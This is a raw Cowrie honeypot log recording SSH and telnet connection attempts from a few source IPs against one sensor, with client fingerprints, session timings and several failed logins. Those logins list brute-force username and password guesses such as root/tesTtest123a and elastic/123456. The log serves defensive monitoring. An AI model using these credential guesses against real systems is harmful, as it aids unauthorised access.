{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:18.637016Z","src_ip":"45.153.34.114","session":"cbd008cbbb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:18.733128Z","src_ip":"45.153.34.114","session":"cbd008cbbb9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41232,"dst_ip":"159.203.135.109","dst_port":23,"session":"22db07a9f943","protocol":"telnet","message":"New connection: 74.91.213.120:41232 (159.203.135.109:23) [session: 22db07a9f943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:18.795218Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:18.990697Z","src_ip":"45.153.34.114","session":"cbd008cbbb9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41236,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d941398a50d","protocol":"telnet","message":"New connection: 74.91.213.120:41236 (159.203.135.109:23) [session: 3d941398a50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:19.270349Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:20.085440Z","src_ip":"45.153.34.114","session":"cbd008cbbb9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a903d677eeac","protocol":"telnet","message":"New connection: 74.91.213.120:41248 (159.203.135.109:23) [session: a903d677eeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:20.216752Z"}
{"eventid":"cowrie.session.closed","duration":30.142270803451538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:21.242014Z","src_ip":"74.91.213.120","session":"33a8b4cf27c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41256,"dst_ip":"159.203.135.109","dst_port":23,"session":"d21421c1b636","protocol":"telnet","message":"New connection: 74.91.213.120:41256 (159.203.135.109:23) [session: d21421c1b636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:23.179524Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41264,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfdf71c9e936","protocol":"telnet","message":"New connection: 74.91.213.120:41264 (159.203.135.109:23) [session: dfdf71c9e936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:23.695196Z"}
{"eventid":"cowrie.session.closed","duration":30.15876841545105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:24.286188Z","src_ip":"74.91.213.120","session":"064aefb531c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5870d5344b1","protocol":"telnet","message":"New connection: 74.91.213.120:41274 (159.203.135.109:23) [session: f5870d5344b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:26.806393Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42240,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b67088f9629","protocol":"ssh","message":"New connection: 45.153.34.114:42240 (159.203.135.109:22) [session: 8b67088f9629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.070379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.074965Z","src_ip":"45.153.34.114","session":"8b67088f9629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.159897Z","src_ip":"45.153.34.114","session":"8b67088f9629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15936851501465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.445558Z","src_ip":"74.91.213.120","session":"c78e0bf14ad9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.451505Z","src_ip":"45.153.34.114","session":"8b67088f9629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51820,"dst_ip":"159.203.135.109","dst_port":22,"session":"a973210a3387","protocol":"ssh","message":"New connection: 103.75.199.4:51820 (159.203.135.109:22) [session: a973210a3387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.668778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.674519Z","src_ip":"103.75.199.4","session":"a973210a3387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:27.767181Z","src_ip":"103.75.199.4","session":"a973210a3387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:28.042330Z","src_ip":"103.75.199.4","session":"a973210a3387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:28.550851Z","src_ip":"45.153.34.114","session":"8b67088f9629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b4afa49f2a1","protocol":"telnet","message":"New connection: 74.91.213.120:44142 (159.203.135.109:23) [session: 2b4afa49f2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:29.040690Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":40702,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1d7edf8a83a","protocol":"telnet","message":"New connection: 74.91.213.120:40702 (159.203.135.109:23) [session: a1d7edf8a83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:29.069658Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:29.135710Z","src_ip":"103.75.199.4","session":"a973210a3387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44158,"dst_ip":"159.203.135.109","dst_port":23,"session":"205119de0f96","protocol":"telnet","message":"New connection: 74.91.213.120:44158 (159.203.135.109:23) [session: 205119de0f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:33.353671Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43258,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa01d21a35fb","protocol":"ssh","message":"New connection: 45.153.34.114:43258 (159.203.135.109:22) [session: fa01d21a35fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:35.003574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:35.009134Z","src_ip":"45.153.34.114","session":"fa01d21a35fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:35.132784Z","src_ip":"45.153.34.114","session":"fa01d21a35fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.145917177200317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:35.181822Z","src_ip":"74.91.213.120","session":"862be91e4003","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:35.393456Z","src_ip":"45.153.34.114","session":"fa01d21a35fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44160,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f8cbdbf90d","protocol":"telnet","message":"New connection: 74.91.213.120:44160 (159.203.135.109:23) [session: 83f8cbdbf90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:35.704674Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:36.551116Z","src_ip":"45.153.34.114","session":"fa01d21a35fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59164,"dst_ip":"159.203.135.109","dst_port":22,"session":"3953bfa55ec7","protocol":"ssh","message":"New connection: 45.153.34.114:59164 (159.203.135.109:22) [session: 3953bfa55ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:43.236524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:43.240670Z","src_ip":"45.153.34.114","session":"3953bfa55ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:43.338518Z","src_ip":"45.153.34.114","session":"3953bfa55ec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:43.597342Z","src_ip":"45.153.34.114","session":"3953bfa55ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48200,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf68139313af","protocol":"telnet","message":"New connection: 74.91.213.120:48200 (159.203.135.109:23) [session: cf68139313af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:44.546564Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:44.880913Z","src_ip":"45.153.34.114","session":"3953bfa55ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.144810914993286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:47.527401Z","src_ip":"74.91.213.120","session":"93bdf925c97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19206929206848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:48.326501Z","src_ip":"74.91.213.120","session":"4a1cf37274dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":51298,"dst_ip":"159.203.135.109","dst_port":23,"session":"2310313b1293","protocol":"telnet","message":"New connection: 74.91.213.120:51298 (159.203.135.109:23) [session: 2310313b1293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:49.052523Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53936,"dst_ip":"159.203.135.109","dst_port":22,"session":"876be5321fc8","protocol":"ssh","message":"New connection: 103.75.199.4:53936 (159.203.135.109:22) [session: 876be5321fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:49.432528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:49.436946Z","src_ip":"103.75.199.4","session":"876be5321fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:49.528310Z","src_ip":"103.75.199.4","session":"876be5321fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:49.802821Z","src_ip":"103.75.199.4","session":"876be5321fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12870144844055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:49.923785Z","src_ip":"74.91.213.120","session":"22db07a9f943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:50.897529Z","src_ip":"103.75.199.4","session":"876be5321fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.93293261528015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:51.203160Z","src_ip":"74.91.213.120","session":"3d941398a50d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57922,"dst_ip":"159.203.135.109","dst_port":22,"session":"215567c36e76","protocol":"ssh","message":"New connection: 45.153.34.114:57922 (159.203.135.109:22) [session: 215567c36e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:51.320040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:51.325227Z","src_ip":"45.153.34.114","session":"215567c36e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.113333702087402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:51.329949Z","src_ip":"74.91.213.120","session":"a903d677eeac","protocol":"telnet"}
